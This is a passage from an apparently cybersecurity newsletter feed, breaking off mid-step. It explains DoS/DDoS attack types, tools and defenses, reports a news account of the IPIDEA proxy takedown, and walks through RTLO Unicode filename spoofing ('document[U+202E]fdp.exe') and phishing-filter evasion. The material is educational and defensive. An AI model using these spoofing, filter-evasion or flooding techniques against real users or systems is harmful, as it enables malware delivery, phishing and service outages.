to generate more traffic than the target&#8217;s available network capacity can handle.</p><p>Targets can include external internet connections or internal data center traffic. The objective is always to exhaust available bandwidth capacity.</p><p>The magnitude is measured in bits-per-second (bps), with modern attacks reaching multiple terabits per second. The largest recorded have exceeded 2 Tbps, enough bandwidth to overwhelm even major internet service providers.</p><p><strong>Common attack techniques in this category include:</strong></p><ul><li><p><strong>UDP Flood</strong> attacks send massive numbers of User Datagram Protocol packets to random ports on the target system. Since UDP is connectionless, the target must check each packet to see if any application is listening on that port, consuming resources even when no application exists.</p></li><li><p><strong>ICMP Flood</strong> attacks, also known as ping floods, overwhelm the target with Internet Control Message Protocol echo request (ping) packets. The target system must process each request and send a reply, eventually exhausting its ability to respond to legitimate traffic.</p></li><li><p><strong>Ping of Death</strong> is a classic attack that sends malformed or oversized ping packets that exceed the maximum IP packet size. When reassembled, these packets can crash or freeze vulnerable systems that don&#8217;t properly handle the malformed data.</p></li><li><p><strong>Smurf attacks</strong> exploit Internet Control Message Protocol by broadcasting ping requests to a network&#8217;s broadcast address, while spoofing the source IP address to be the victim&#8217;s address. Every device on the broadcast network then sends a reply to the victim, amplifying the attack significantly.</p></li><li><p><strong>DNS Amplification</strong> exploits public DNS resolvers by sending small queries with spoofed source addresses. The victim receives large DNS responses they never requested, amplifying attack traffic up to 54 times the original query size. This Distributed Reflected Denial of Service (DRDoS) technique obscures the attacker&#8217;s location while multiplying bandwidth impact.</p></li><li><p><strong>NTP Amplification</strong> abuses vulnerable Network Time Protocol servers by exploiting the &#8220;monlist&#8221; command. Attackers send small queries with the victim&#8217;s spoofed IP address, triggering large responses that can amplify traffic up to 556 times. While modern servers have patched this vulnerability, legacy systems remain at risk.</p></li></ul><p><strong>Tools used to execute this type of attack include:</strong></p><ul><li><p><strong><a href="https://darkmarc.substack.com/p/hping3-for-ethical-hackers-crafting">hping3</a></strong> - A packet crafting tool. This command-line tool allows security professionals to generate custom packets and test how networks respond to various traffic patterns.</p></li><li><p><strong>LOIC (Low Orbit Ion Cannon)</strong> - Stress testing tool that can simulate volumetric attacks in controlled environments, though it should only be used on networks you own or have explicit written permission to test.</p></li><li><p><strong>HOIC (High Orbit Ion Cannon)</strong> - Advanced stress testing tool with more customization options than LOIC for authorized network testing.</p></li><li><p><strong>Bonesi</strong> - DDoS botnet simulator specifically designed for research purposes, allowing security teams to understand how distributed attacks function.</p></li><li><p><strong>UDP Flooder</strong> - Network stress testing utility for evaluating bandwidth capacity.</p></li></ul><div><hr></div><h3>2. Protocol Attacks (Resource Exhaustion)</h3><p>Protocol attacks are more sophisticated than volumetric attacks because they exploit specific weaknesses in how network protocols function. </p><p>Rather than simply overwhelming bandwidth, these attacks target the finite resources of network infrastructure components such as firewalls, load balancers, and application servers. </p><p>Every network device has limits on how many concurrent connections it can maintain, how much memory it has for connection state tables, and how much CPU power it can dedicate to processing packets.</p><p>These attacks are measured in <strong>packets-per-second (pps)</strong> rather than bits-per-second, because what matters is not the volume of data but the number of individual transactions the target must process. </p><p>Even relatively small attacks measured in bandwidth can be devastating if they force servers to maintain thousands or millions of connection states.</p><p><strong>The most common protocol attacks work as follows:</strong></p><ul><li><p><strong>SYN Flood</strong> attacks exploit the TCP three-way handshake process. Normally, a client sends a SYN packet, the server responds with SYN-ACK, and the client completes the connection with an ACK. In a SYN flood, attackers send thousands of SYN packets but never send the final ACK, leaving connections in a half-open state. Each half-open connection consumes memory in the server&#8217;s connection table, and when this table fills up, the server cannot accept new legitimate connections.</p></li><li><p><strong>Fragmentation attacks</strong> abuse how IP packets can be broken into smaller fragments for transmission. Attackers send fragmented packets that either overlap in confusing ways (Teardrop attack) or cannot be properly reassembled. The target system wastes resources trying to reassemble these malformed fragments, potentially crashing if it encounters edge cases in its reassembly code.</p></li><li><p><strong>Malformed packet attacks</strong> send packets that violate protocol standards in various ways. The Land attack sends a packet where the source and destination IP addresses are identical, confusing some systems. The Ping of Death sends oversized packets that cause buffer overflows during reassembly. These attacks often target specific software vulnerabilities rather than protocol design flaws.</p></li><li><p><strong>Spoofed session floods</strong> create fake network sessions using spoofed source IP addresses. The target responds to these spoofed addresses, but the responses go nowhere, wasting the target&#8217;s resources while making it difficult to block the attack since each packet appears to come from a different legitimate source.</p></li><li><p><strong>ACK floods</strong> send TCP acknowledgment packets without any preceding SYN handshake. Targets must process each ACK packet to determine if it belongs to an existing connection, consuming CPU and memory resources.</p></li><li><p><strong>TCP SACK Panic</strong> exploits vulnerabilities in how systems process TCP Selective Acknowledgment options. By sending carefully crafted SACK packets, attackers can trigger worst-case behavior in the processing code, causing extreme CPU consumption or even kernel panics.</p></li></ul><p><strong>Tools used to execute this type of attack include:</strong></p><ul><li><p><strong>hping3</strong> - Craft custom TCP/UDP/ICMP packets with precise control over all header fields for protocol testing.</p></li><li><p><strong>Scapy</strong> - Python-based framework that provides flexibility for packet manipulation and protocol analysis, ideal for developing custom test scripts.</p></li><li><p><strong>Metasploit Framework</strong> - Contains modules for testing SYN flood resistance and other protocol vulnerabilities in authorized penetration tests.</p></li><li><p><strong>Netwox</strong> - Comprehensive toolkit of network testing utilities, including tools for various protocol attacks.</p></li><li><p><strong>THC-SSL-DOS</strong> - Tests SSL/TLS protocol implementations to identify servers vulnerable to SSL renegotiation attacks.</p></li></ul><div><hr></div><h3>3. Application Layer Attacks (Layer 7)</h3><p>Application layer attacks represent the most sophisticated category of DoS attacks because they target the actual application software rather than network infrastructure. </p><p>These attacks are particularly dangerous because they can be effective with relatively low bandwidth and are difficult to distinguish from legitimate user traffic. A single attacker with a modest internet connection can potentially take down a poorly protected web application.</p><p>Because these attacks operate at Layer 7 of the OSI model (the application layer), they understand and exploit the specific logic of applications like web servers, database systems, or API endpoints. </p><p>The magnitude of these attacks is measured in <strong>requests-per-second (rps)</strong>, and what matters is not bandwidth or packet count but how much computational work each request forces the application to perform.</p><p><strong>Key application layer attack techniques include:</strong></p><ul><li><p><strong>HTTP GET/POST floods</strong> overwhelm web servers with what appears to be legitimate HTTP requests. Unlike simple volumetric attacks, these requests are properly formatted and complete, making them difficult to filter. Attackers may request resource-intensive pages like search results or database queries to maximize the impact of each request. Modern variations target specific application endpoints known to be computationally expensive.</p></li><li><p><strong>Slowloris</strong> attacks exploit how web servers handle concurrent connections. Rather than sending requests quickly, Slowloris opens many connections to the target web server and keeps them open as long as possible by sending partial HTTP requests. It periodically sends additional headers but never completes the request. The server keeps these connections open waiting for the request to complete, eventually exhausting its connection pool and becoming unable to accept new legitimate connections.</p></li><li><p><strong>Slow POST attacks</strong> use a similar principle but target HTTP POST requests. The attacker sends a legitimate HTTP POST header specifying a large content length but then transmits the actual body data one byte at a time, as slowly as possible. The server must keep the connection open waiting for the full request body, tying up resources.</p></li><li><p><strong>HTTP fragmentation attacks</strong> send HTTP packets broken into tiny fragments, often just a few bytes each. The target server must buffer these fragments and reassemble them, consuming memory and processing time. This technique can also help attackers evade simple filtering systems that only examine complete packets.</p></li><li><p><strong>DNS query floods</strong> target Domain Name System servers with massive numbers of lookup requests. While DNS is technically a protocol layer service, these attacks target the application logic of DNS servers, especially recursive resolvers. Attackers can craft queries for random subdomains or leverage DNS amplification techniques.</p></li><li><p><strong>Range header attacks</strong> (also known as Apache Killer) exploit how web servers process the HTTP Range header, which allows clients to request specific byte ranges of a file. By requesting hundreds of overlapping byte ranges in a single request, attackers can force the server to perform extensive processing and memory allocation for each response, causing memory exhaustion or crashes.</p></li></ul><p><strong>Tools used to execute this type of attack include:</strong></p><ul><li><p><strong>Slowloris</strong> - Python script that tests how well web servers handle slow connection attacks, remaining the standard for this attack type.</p></li><li><p><strong>HULK (HTTP Unbearable Load King)</strong> - Generates obfuscated HTTP requests to bypass simple DDoS protection systems during authorized testing.</p></li><li><p><strong>GoldenEye</strong> - Application layer testing tool with customization options for various HTTP-based attacks.</p></li><li><p><strong>Apache Bench (ab)</strong> - Widely respected benchmarking utility for legitimate performance testing that also reveals DoS vulnerabilities.</p></li><li><p><strong>siege</strong> - HTTP load testing and benchmarking utility for stress testing web applications.</p></li><li><p><strong>Apache JMeter</strong> - Comprehensive framework for testing application performance under various load conditions.</p></li><li><p><strong>SlowHTTPTest</strong> - Specifically focuses on testing various slow attack vectors including Slowloris, Slow POST, and others.</p></li></ul><div><hr></div><h2>Defense: Protecting Against DoS/DDoS Attacks</h2><p>Effective defense against denial of service attacks requires multiple layers of protection, from network infrastructure to application design.</p><h3>Detection Strategies</h3><p>Early detection is critical for minimizing attack impact. <strong>Traffic analysis</strong> involves continuously monitoring for unusual spikes in bandwidth consumption, packet rates, or request volumes. Sudden increases of 2x, 10x, or more can indicate an attack in progress.</p><ul><li><p><strong>Behavioral analysis</strong> looks for patterns that deviate from normal user behavior. For example, if typical users request 5 pages per minute but suddenly thousands of IPs are requesting 100 pages per minute, this suggests automated attack traffic.</p></li><li><p><strong>Rate monitoring</strong> tracks requests from individual IP addresses or networks over time. Legitimate users rarely make hundreds of requests per second, so abnormal rates indicate potential attacks.</p></li><li><p><strong>Intrusion Detection Systems (IDS)</strong> like Snort or Suricata use signature-based and anomaly-based detection to identify attack patterns. These systems can alert security teams to suspicious traffic in real time.</p></li><li><p><strong>Log analysis</strong> involves examining server logs for attack signatures such as repeated requests for the same resource, suspicious user agents, or requests with malformed parameters.</p></li><li><p><strong>Network flow analysis</strong> using technologies like NetFlow or sFlow provides high-level visibility into traffic patterns without inspecting every packet, allowing detection of volumetric attacks even when individual packets appear legitimate.</p></li></ul><div><hr></div><h3>Mitigation Approaches</h3><p>Once an attack is detected, various mitigation strategies can reduce its impact.</p><ul><li><p>L<strong>oad balancers </strong>at the network level distribute traffic across multiple servers, preventing any single server from being overwhelmed. Modern load balancers also include basic DoS protection features like connection rate limiting.</p></li><li><p><strong>Content Delivery Networks (CDNs)</strong> like Cloudflare, Akamai, or Fastly absorb attack traffic at their edge servers distributed worldwide. Because CDNs have massive bandwidth capacity and advanced filtering, they can handle attacks that would overwhelm a single origin server.</p></li><li><p><strong>Firewall configurations</strong> including SYN cookies prevent SYN flood attacks by having the firewall handle the TCP handshake on behalf of protected servers. Only complete connections are forwarded to application servers.</p></li><li><p><strong>Rate limiting</strong> at the network edge restricts how many requests individual IPs or networks can make within a given time window, blocking sources that exceed reasonable thresholds.</p></li><li><p><strong>Anycast routing</strong> distributes traffic geographically by advertising the same IP address from multiple locations. Attack traffic gets distributed across many servers in different regions rather than concentrating on a single location.</p></li><li><p><strong>DDoS protection services</strong> from providers like AWS Shield, Cloudflare, or Arbor Networks offer dedicated infrastructure and expertise for handling large-scale attacks. These services combine massive bandwidth capacity with sophisticated filtering algorithms.</p></li><li><p><strong>CAPTCHA challenges </strong>at the application level distinguish humans from bots by requiring users to solve puzzles that are easy for humans but difficult for automated systems.</p></li><li><p><strong>Web Application Firewalls (WAF)</strong> inspect HTTP traffic and block requests matching known attack patterns. They can also enforce complex logic like rate limiting per session or progressive challenges.</p></li><li><p><strong>Connection limits and timeouts</strong> prevent attacks like Slowloris by limiting how long incomplete connections can remain open and how many connections a single IP can maintain.</p></li><li><p><strong>Reverse proxies</strong> sit in front of application servers, filtering malicious requests before they reach the actual application. They can also cache content and handle SSL/TLS termination, reducing load on backend servers.</p></li><li><p><strong>IP reputation filtering</strong> blocks traffic from sources known to be associated with attacks, using threat intelligence feeds that track malicious IP addresses.</p></li><li><p><strong>Progressive challenges</strong> require suspicious users to prove they&#8217;re legitimate by executing JavaScript, accepting cookies, or completing multiple verification steps before accessing protected resources.</p></li></ul><div><hr></div><h3>Operational Preparedness</h3><p>Beyond technical defenses, organizations need operational readiness. </p><p>Incident response plans should document roles, responsibilities, and procedures for responding to DoS attacks. Regular testing through tabletop exercises ensures teams know what to do when attacks occur.</p><ul><li><p><strong>Excess capacity</strong> in infrastructure provides headroom to absorb traffic spikes. Over-provisioning bandwidth, servers, and other resources can make the difference between weathering an attack and complete service outage.</p></li><li><p><strong>Relationships with ISPs and mitigation providers</strong> should be established before attacks occur. Having contracts and communication channels already in place enables faster response when every minute counts.</p></li><li><p><strong>Communication plans</strong> ensure stakeholders, customers, and the public receive timely updates during incidents. Transparency about attacks and response efforts builds trust even during service disruptions.</p></li><li><p><strong>Traffic baselines</strong> documenting normal patterns make it easier to identify anomalies. Understanding what&#8217;s typical for your service helps distinguish attacks from legitimate traffic surges.</p></li></ul><div><hr></div><h2>DDoS in the News: The IPIDEA Takedown</h2><p>Recent events demonstrate how DDoS infrastructure operates at massive scale and the ongoing efforts to combat it. </p><p>In January 2026, <a href="https://cloud.google.com/blog/topics/threat-intelligence/disrupting-largest-residential-proxy-network">Google announced</a> it had worked with partners to disrupt IPIDEA, described as one of the world&#8217;s largest residential proxy networks.</p><div class="pullquote"><p>&#8220;This week Google and partners took action to disrupt what we believe is one of the largest residential proxy networks in the world, the IPIDEA proxy network. <br><br>IPIDEA&#8217;s proxy infrastructure is a little-known component of the digital ecosystem leveraged by a wide array of bad actors.&#8221; - Google Threat Intelligence</p></div><h3>What Was IPIDEA?</h3><p>IPIDEA advertised itself as the &#8220;world&#8217;s leading provider of IP proxy&#8221; with more than 6.1 million daily updated IP addresses. </p><p>However, Google&#8217;s Threat Intelligence Group revealed that IPIDEA&#8217;s network was being leveraged by over 550 individual threat groups from across the world, including actors from China, North Korea, Iran, and Russia.</p><p>While the proxy network served various malicious purposes including accessing victim environments and conducting password spray attacks, it became particularly notorious as infrastructure for launching distributed denial-of-service attacks.</p><h3>How the Attack Infrastructure Worked</h3><p>The malware that turned consumer devices into proxy endpoints was stealthily bundled within apps and games pre-installed on off-brand Android TV streaming boxes. This forced infected devices to relay malicious traffic and participate in DDoS attacks without the owner&#8217;s knowledge. </p><p>IPIDEA also released standalone apps marketed to people looking to make &#8220;easy cash&#8221; by advertising payment for installing the app and allowing it to use their &#8220;unused bandwidth.&#8221;</p><p>Behind the scenes, IPIDEA controlled multiple residential proxy brands including 360 Proxy, 922 Proxy, ABC Proxy, Luna Proxy, and others. </p><p>The company also marketed Software Development Kits (SDKs) to third-party developers as a way to monetize their applications. Developers who integrated these SDKs were paid on a per-download basis, while users who installed these apps unknowingly became nodes in a massive proxy network used for attacks.</p><h3>The DDoS Connection: Kimwolf and Aisuru Botnets</h3><p>While IPIDEA&#8217;s infrastructure supported various attack types, it became particularly significant in the DDoS landscape. </p><p>Hackers discovered security flaws in IPIDEA&#8217;s network and exploited them to create powerful botnets specifically designed for denial-of-service attacks.</p><ul><li><p><strong>The</strong> <strong>Kimwolf botnet</strong> took control of roughly 2 million compromised systems within the IPIDEA network, using them to launch massive DDoS attacks by flooding target websites with high volumes of traffic.</p></li><li><p><strong>The Aisuru botnet</strong>, conducted similar large-scale DDoS operations. These botnets represented some of the most significant DDoS threats of their time, with capabilities to generate record-breaking attack volumes.</p></li></ul><h3>The Takedown</h3><p>Google took legal action to take down dozens of domains used to control devices and proxy traffic. The company also updated Google Play Protect to automatically warn users about apps containing IPIDEA code, and on certified Android devices, the system now automatically removes these malicious applications.</p><p>This incident illustrates several important lessons about modern DDoS threats. First, massive attack infrastructure often hides in consumer devices that owners don&#8217;t realize are compromised. </p><p>Second, seemingly legitimate services like VPNs and bandwidth-sharing apps may be fronts for malicious proxy networks. Third, the scale of modern DDoS infrastructure is enormous, with millions of devices potentially participating. </p><p>Combating these threats requires coordination between tech companies, law enforcement, and the cybersecurity community.</p><div><hr></div><div class="digest-post-embed" data-attrs="{&quot;nodeId&quot;:&quot;2d71d384-ce95-4c47-950b-3e1cb70ca351&quot;,&quot;caption&quot;:&quot;Hping3 is a packet crafting tool that gives you direct control over individual network packets for security testing and advanced network analysis.&quot;,&quot;cta&quot;:&quot;Read full story&quot;,&quot;showBylines&quot;:true,&quot;size&quot;:&quot;lg&quot;,&quot;isEditorNode&quot;:true,&quot;title&quot;:&quot;Hping3 for Ethical Hackers: Crafting Packets, Probing, Denial of Service &amp; Firewall Evasion&quot;,&quot;publishedBylines&quot;:[{&quot;id&quot;:313925317,&quot;name&quot;:&quot;Dark Marc&quot;,&quot;bio&quot;:&quot;The digital world is under attack&#8212;breaches, exploits, and evolving threats. Will you be ready? Join me as we explore hacking, cybersecurity, and the edge of digital warfare. Stay sharp. Stay ahead.&quot;,&quot;photo_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f76ab9c8-c43d-4098-b472-db750cc2b403_500x500.png&quot;,&quot;is_guest&quot;:false,&quot;bestseller_tier&quot;:null}],&quot;post_date&quot;:&quot;2025-11-18T17:40:43.725Z&quot;,&quot;cover_image&quot;:&quot;https://substackcdn.com/image/fetch/$s_!9nD7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F809800b1-214b-46b1-9d37-9468d8822b08_1000x333.gif&quot;,&quot;cover_image_alt&quot;:null,&quot;canonical_url&quot;:&quot;https://darkmarc.substack.com/p/hping3-for-ethical-hackers-crafting&quot;,&quot;section_name&quot;:null,&quot;video_upload_id&quot;:null,&quot;id&quot;:178860623,&quot;type&quot;:&quot;newsletter&quot;,&quot;reaction_count&quot;:7,&quot;comment_count&quot;:0,&quot;publication_id&quot;:3940081,&quot;publication_name&quot;:&quot;Dark Marc | Cybersecurity, Hacking &amp; Tech&quot;,&quot;publication_logo_url&quot;:&quot;https://substackcdn.com/image/fetch/$s_!VPsM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c500f6a-7cf3-418d-b207-af8e956973c5_500x500.png&quot;,&quot;belowTheFold&quot;:true,&quot;youtube_url&quot;:null,&quot;show_links&quot;:null,&quot;feed_url&quot;:null}"></div>]]></content:encoded></item><item><title><![CDATA[Invisible Text Trick Disguises Malware and Bypasses Security Filters]]></title><description><![CDATA[The Unicode character U+202E, also known as Right-To-Left-Override (RTLO) is a legitimate text-formatting control designed to support Arabic and Hebrew languages.]]></description><link>https://darkmarc.substack.com/p/invisible-text-trick-disguises-malware</link><guid isPermaLink="false">https://darkmarc.substack.com/p/invisible-text-trick-disguises-malware</guid><dc:creator><![CDATA[Dark Marc]]></dc:creator><pubDate>Sun, 25 Jan 2026 05:58:15 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!VPsM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c500f6a-7cf3-418d-b207-af8e956973c5_500x500.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>The Unicode character <a href="https://unicode-explorer.com/c/202E">U+202E</a>, also known as Right-To-Left-Override (RTLO) is a legitimate text-formatting control designed to support Arabic and Hebrew languages. </p><p>In the hands of attackers, it becomes a method that can be used to social engineer users into opening malware, or bypass email filters to deliver malicious payloads.</p><div><hr></div><h2>Attack #1: Hidden Executable</h2><p>By default, file extensions are hidden on Windows, but some organizations show them, so that you can see what type of file extension it is before clicking on it.</p><p>If you receive a file called &#8220;invoice.exe&#8221; you&#8217;re unlikely to open it. This is where RTLO come in. By inserting the RTLO character in the filename, an attacker can reverse how it displays. The character is invisible and affects how the text displays.</p><p>Here&#8217;s an example:</p><p>An attacker renames a malicious .exe file and inserts the RTLO character:</p><p><code>document[U+202E]fdp.exe</code></p><p>This reverses all of the text after the character, including the file extension, and the character itself is invisible, so to the user who receives the file, it looks like:</p><p><code>documentexe.pdf</code></p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!xq9N!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6615dbbc-7751-4a52-988f-6a0f0241d549_1960x206.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!xq9N!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6615dbbc-7751-4a52-988f-6a0f0241d549_1960x206.png 424w, https://substackcdn.com/image/fetch/$s_!xq9N!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6615dbbc-7751-4a52-988f-6a0f0241d549_1960x206.png 848w, https://substackcdn.com/image/fetch/$s_!xq9N!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6615dbbc-7751-4a52-988f-6a0f0241d549_1960x206.png 1272w, https://substackcdn.com/image/fetch/$s_!xq9N!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6615dbbc-7751-4a52-988f-6a0f0241d549_1960x206.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!xq9N!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6615dbbc-7751-4a52-988f-6a0f0241d549_1960x206.png" width="1456" height="153" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6615dbbc-7751-4a52-988f-6a0f0241d549_1960x206.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:153,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:73610,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/185690599?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6615dbbc-7751-4a52-988f-6a0f0241d549_1960x206.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!xq9N!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6615dbbc-7751-4a52-988f-6a0f0241d549_1960x206.png 424w, https://substackcdn.com/image/fetch/$s_!xq9N!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6615dbbc-7751-4a52-988f-6a0f0241d549_1960x206.png 848w, https://substackcdn.com/image/fetch/$s_!xq9N!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6615dbbc-7751-4a52-988f-6a0f0241d549_1960x206.png 1272w, https://substackcdn.com/image/fetch/$s_!xq9N!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6615dbbc-7751-4a52-988f-6a0f0241d549_1960x206.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>The file is still an .exe and it executes when double-clicked. Most users are trained to look for files that <em>end</em> in exe to indicate that they&#8217;re executables, and they might miss that the file type is still listed as an &#8216;Application&#8217;.</p><div><hr></div><h3>Real-World Example: Ferocious Kitten</h3><p><strong>Ferocious Kitten</strong>, an Iranian APT group active since 2015, has been <a href="https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/">documented using RTLO attacks</a> to target dissidents, activists, and minority groups within Iran. They would send malicious files via Telegram and messaging apps.</p><div><hr></div><h2>Attack #2: Text Obfuscation</h2><p>RTLO can also bypass keyword-based email filters designed to detect phishing and scam messages by hiding keywords from automated detection while keeping them visible to humans.</p><p>Email providers use keyword filters to block phishing attempts. Phrases like &#8220;verify your account,&#8221; &#8220;urgent action required,&#8221; and &#8220;confirm your password&#8221; are common triggers that get emails flagged or blocked. Attackers discovered they could use RTLO to evade these filters entirely.</p><p>Here&#8217;s the trick: instead of typing &#8220;verify&#8221; normally, an attacker reverses it to &#8220;yfirev&#8221; and adds the RTLO character at the beginning, so it looks like this:</p><pre><code>&#8238;yfirev</code></pre><p>When you look at the source code on this page, you&#8217;ll see the character, and the text written backwards. <em>Successful obfuscation!</em></p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4MmB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58ecefed-8228-4c66-84e2-188e208a10c2_2102x132.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4MmB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58ecefed-8228-4c66-84e2-188e208a10c2_2102x132.png 424w, https://substackcdn.com/image/fetch/$s_!4MmB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58ecefed-8228-4c66-84e2-188e208a10c2_2102x132.png 848w, https://substackcdn.com/image/fetch/$s_!4MmB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58ecefed-8228-4c66-84e2-188e208a10c2_2102x132.png 1272w, https://substackcdn.com/image/fetch/$s_!4MmB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58ecefed-8228-4c66-84e2-188e208a10c2_2102x132.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4MmB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58ecefed-8228-4c66-84e2-188e208a10c2_2102x132.png" width="1456" height="91" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/58ecefed-8228-4c66-84e2-188e208a10c2_2102x132.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:91,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:27309,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/185690599?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58ecefed-8228-4c66-84e2-188e208a10c2_2102x132.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4MmB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58ecefed-8228-4c66-84e2-188e208a10c2_2102x132.png 424w, https://substackcdn.com/image/fetch/$s_!4MmB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58ecefed-8228-4c66-84e2-188e208a10c2_2102x132.png 848w, https://substackcdn.com/image/fetch/$s_!4MmB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58ecefed-8228-4c66-84e2-188e208a10c2_2102x132.png 1272w, https://substackcdn.com/image/fetch/$s_!4MmB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58ecefed-8228-4c66-84e2-188e208a10c2_2102x132.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>The same technique also works on any platform with keyword-based content moderation, such as social media applications, messaging apps, etc.</p><div><hr></div><h2>RTLO: Step-by-Step Method</h2><p>You can safely test the RTLO technique on your own system to see how it works. This is for educational purposes only.</p><h3>Step 1: Get the RTLO Character</h3><p>You can access the character through your operating system&#8217;s special character menu, or copy it directly from here: <a href="https://unicode-explorer.com/c/202E">https://unicode-explorer.com/c/202E</a><strong>&#8238;</strong></p><h4>Windows - Character Map:</h4><ol><li><p>Press <code>Win + R</code> and type <code>charmap</code>, then press Enter</p></li><li><p>Check &#8220;Advanced view&#8221; at the bottom</p></li><li><p>In &#8220;Search for:&#8221; type <code>202E</code> and click Search</p></li><li><p>Select the RIGHT-TO-LEFT OVERRIDE character</p></li><li><p>Click &#8220;Select&#8221; then &#8220;Copy&#8221;</p></li></ol><h4>macOS - Character Viewer:</h4><ol><li><p>Press <code>Cmd + Control + Space</code> to open Character Viewer</p></li><li><p>Search for <code>202E</code> in the search box</p></li><li><p>Double-click the RIGHT-TO-LEFT OVERRIDE character to copy it</p></li></ol><h3>Step 2: Enable File Extensions</h3><p>To simulate an environment where security-conscious administrators have configured systems to show full filenames with extensions, enable this setting:</p><h4>Windows:</h4><ol><li><p>Open File Explorer</p></li><li><p>Click the &#8220;View&#8221; menu</p></li><li><p>Click &#8220;Show&#8221; and check &#8220;File name 